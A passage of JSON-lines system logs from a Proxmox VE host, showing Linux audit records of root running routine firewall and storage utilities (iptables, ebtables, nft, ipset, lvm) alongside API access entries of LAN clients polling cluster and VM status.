exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965980793,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781965207168,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965207.168:64633): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62096 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965523327,"@rawstring":"node=pve type=EXECVE msg=audit(1781965523.327:65965): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964436040,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.040:61009): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58573 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965980793,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:59 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965206113,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.113:64630): arch=c000003e syscall=59 success=yes exit=0 a0=610041987e90 a1=610041984c10 a2=610041966680 a3=5 items=2 ppid=62089 pid=62095 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965523320,"@rawstring":"node=pve type=EXECVE msg=audit(1781965523.320:65962): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964436034,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.034:61008): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58572 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965979738,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:58 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 928"} {"@timestamp":1781965206111,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.111:64629): arch=c000003e syscall=59 success=yes exit=0 a0=61001352bac8 a1=7ffc4a80bf20 a2=610041966680 a3=61001350f24e items=2 ppid=62089 pid=62091 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965518312,"@rawstring":"node=pve type=EXECVE msg=audit(1781965518.312:65959): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964436031,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.031:61007): arch=c000003e syscall=59 success=yes exit=0 a0=5997e8af60a0 a1=5997e8af2e20 a2=5997e8ad4680 a3=5 items=2 ppid=58565 pid=58571 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965978727,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965206109,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.109:64628): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc4a80bee0 a1=61004196d310 a2=610041966680 a3=5 items=2 ppid=62089 pid=62090 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965518302,"@rawstring":"node=pve type=EXECVE msg=audit(1781965518.302:65956): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964436028,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.028:61006): arch=c000003e syscall=59 success=yes exit=0 a0=5997c8872ac8 a1=7fff450d2160 a2=5997e8ad4680 a3=5997c885624e items=2 ppid=58565 pid=58567 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965978727,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781965206105,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.105:64626): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62089 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515223,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.223:65953): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964436027,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.027:61005): arch=c000003e syscall=59 success=yes exit=0 a0=7fff450d2120 a1=5997e8adb310 a2=5997e8ad4680 a3=5 items=2 ppid=58565 pid=58566 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965977726,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:56 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781965206099,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.099:64625): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62088 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515219,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.219:65952): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964436023,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.023:61003): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58565 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965977726,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:56 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 933"} {"@timestamp":1781965206090,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.090:64624): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62087 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515217,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.217:65951): argc=1 a0=\"date\""} {"@timestamp":1781964436017,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.017:61002): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58564 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965976098,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781965206085,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.085:64623): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62086 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515206,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.206:65949): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964436011,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.011:61001): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58563 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965976098,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:55 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965206076,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.076:64622): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62085 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515191,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.191:65948): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964436007,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.007:61000): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134be0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58562 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965976098,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 516"} {"@timestamp":1781965206074,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.074:64621): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=58a916899740 items=0 ppid=1156 pid=62084 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965515183,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.183:65947): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964436001,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.001:60999): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fbaf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58561 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975135,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:54 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 928"} {"@timestamp":1781965206070,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.070:64620): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0debf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62084 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515173,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.173:65946): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964435994,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964435.994:60998): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc135fb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58560 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975135,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1100"} {"@timestamp":1781965206067,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.067:64619): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc139420 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62083 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515165,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.165:65945): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964434352,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964434.352:60997): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58559 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965973794,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1100"} {"@timestamp":1781965206061,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.061:64618): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1314d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62082 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515159,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.159:65943): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964434345,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964434.345:60994): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58558 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965973794,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:52 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 936"} {"@timestamp":1781965206054,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.054:64617): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f9130 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62081 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515152,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.152:65942): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964434212,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964434.212:60991): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b5bc0 a1=64f8d73f0dc0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58557 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965972790,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781965206048,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.048:64616): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1314d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62080 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515146,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.146:65941): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964434179,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964434.179:60990): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7414e50 a1=64f8d73bfab0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58556 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965972790,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781965206043,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.043:64615): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146700 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62079 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515138,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.138:65940): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964429334,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964429.334:60989): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58553 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965971787,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:51 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965206034,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.034:64614): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62078 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515133,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.133:65939): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964429321,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964429.321:60986): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58552 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965971787,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:50 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1100"} {"@timestamp":1781965206028,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.028:64613): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62077 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515127,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.127:65938): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964425983,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.983:60983): arch=c000003e syscall=59 success=yes exit=0 a0=59d39a3700e0 a1=59d39a36ce60 a2=59d39a34e680 a3=5 items=2 ppid=58545 pid=58551 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965971787,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:50 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 933"} {"@timestamp":1781965206024,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.024:64612): arch=c000003e syscall=59 success=yes exit=0 a0=6122e1442b20 a1=6122e144e9f0 a2=6122e141c680 a3=5 items=2 ppid=62070 pid=62076 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515120,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.120:65937): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964425979,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.979:60982): arch=c000003e syscall=59 success=yes exit=0 a0=59d36d6a2ac8 a1=7ffd496b5d80 a2=59d39a34e680 a3=59d36d68624e items=2 ppid=58545 pid=58547 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965969772,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781965206020,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.020:64611): arch=c000003e syscall=59 success=yes exit=0 a0=6122cc188ac8 a1=7ffefe42a4f0 a2=6122e141c680 a3=6122cc16c24e items=2 ppid=62070 pid=62072 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515110,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.110:65936): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964425979,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.979:60981): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd496b5d40 a1=59d39a355310 a2=59d39a34e680 a3=5 items=2 ppid=58545 pid=58546 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965969772,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:48 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965206018,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.018:64610): arch=c000003e syscall=59 success=yes exit=0 a0=7ffefe42a4b0 a1=6122e143e1c0 a2=6122e141c680 a3=5 items=2 ppid=62070 pid=62071 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515104,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.104:65935): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964425974,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.974:60979): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58545 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965969772,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:48 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 932"} {"@timestamp":1781965206014,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.014:64608): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62070 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965515101,"@rawstring":"node=pve type=EXECVE msg=audit(1781965515.101:65934): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964425968,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964425.968:60978): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58544 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965968768,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1100"} {"@timestamp":1781965206008,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965206.008:64607): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 